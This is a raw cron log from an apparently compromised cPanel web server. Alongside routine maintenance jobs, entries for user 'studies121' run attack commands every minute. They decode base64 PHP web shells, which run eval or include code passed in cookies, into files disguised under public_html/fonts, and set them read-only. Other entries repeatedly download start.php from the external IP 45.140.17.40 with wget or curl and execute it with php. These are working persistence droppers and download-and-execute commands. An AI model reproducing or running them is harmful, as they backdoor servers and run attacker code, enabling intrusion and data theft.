Sep  4 23:18:01 ip-184-168-122-23 CROND[3701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:19:01 ip-184-168-122-23 CROND[3866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:19:01 ip-184-168-122-23 CROND[3868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:19:01 ip-184-168-122-23 CROND[3870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:19:01 ip-184-168-122-23 CROND[3869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:20:01 ip-184-168-122-23 CROND[3956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:20:01 ip-184-168-122-23 CROND[3958]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:20:01 ip-184-168-122-23 CROND[3960]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 23:20:01 ip-184-168-122-23 CROND[3963]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:20:01 ip-184-168-122-23 CROND[3962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:20:01 ip-184-168-122-23 CROND[3964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:20:01 ip-184-168-122-23 CROND[3965]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 23:20:01 ip-184-168-122-23 CROND[3961]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:20:01 ip-184-168-122-23 CROND[3959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:21:01 ip-184-168-122-23 CROND[4055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:21:02 ip-184-168-122-23 CROND[4057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:21:02 ip-184-168-122-23 CROND[4056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:21:02 ip-184-168-122-23 CROND[4058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:22:01 ip-184-168-122-23 CROND[4143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:22:01 ip-184-168-122-23 CROND[4146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:22:01 ip-184-168-122-23 CROND[4145]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:22:01 ip-184-168-122-23 CROND[4147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:22:01 ip-184-168-122-23 CROND[4148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:23:01 ip-184-168-122-23 CROND[4238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:23:01 ip-184-168-122-23 CROND[4240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:23:01 ip-184-168-122-23 CROND[4239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:23:01 ip-184-168-122-23 CROND[4241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:24:01 ip-184-168-122-23 CROND[4396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:24:01 ip-184-168-122-23 CROND[4397]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:24:01 ip-184-168-122-23 CROND[4399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:24:01 ip-184-168-122-23 CROND[4400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:24:01 ip-184-168-122-23 CROND[4398]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:25:01 ip-184-168-122-23 CROND[4480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:25:01 ip-184-168-122-23 CROND[4482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:25:01 ip-184-168-122-23 CROND[4483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:25:01 ip-184-168-122-23 CROND[4485]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:25:01 ip-184-168-122-23 CROND[4486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:25:01 ip-184-168-122-23 CROND[4484]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:26:01 ip-184-168-122-23 CROND[4572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:26:01 ip-184-168-122-23 CROND[4573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:26:01 ip-184-168-122-23 CROND[4575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:26:01 ip-184-168-122-23 CROND[4576]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:26:01 ip-184-168-122-23 CROND[4574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:27:02 ip-184-168-122-23 CROND[4673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:27:02 ip-184-168-122-23 CROND[4674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:27:02 ip-184-168-122-23 CROND[4675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:27:02 ip-184-168-122-23 CROND[4676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:28:01 ip-184-168-122-23 CROND[4752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:28:01 ip-184-168-122-23 CROND[4753]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:28:01 ip-184-168-122-23 CROND[4754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:28:01 ip-184-168-122-23 CROND[4755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:28:01 ip-184-168-122-23 CROND[4757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:29:01 ip-184-168-122-23 CROND[4839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:29:01 ip-184-168-122-23 CROND[4842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:29:01 ip-184-168-122-23 CROND[4841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:29:01 ip-184-168-122-23 CROND[4843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:30:01 ip-184-168-122-23 CROND[5016]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 23:30:01 ip-184-168-122-23 CROND[5017]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:30:01 ip-184-168-122-23 CROND[5020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:30:01 ip-184-168-122-23 CROND[5023]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:30:01 ip-184-168-122-23 CROND[5019]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:30:01 ip-184-168-122-23 CROND[5022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:30:01 ip-184-168-122-23 CROND[5025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
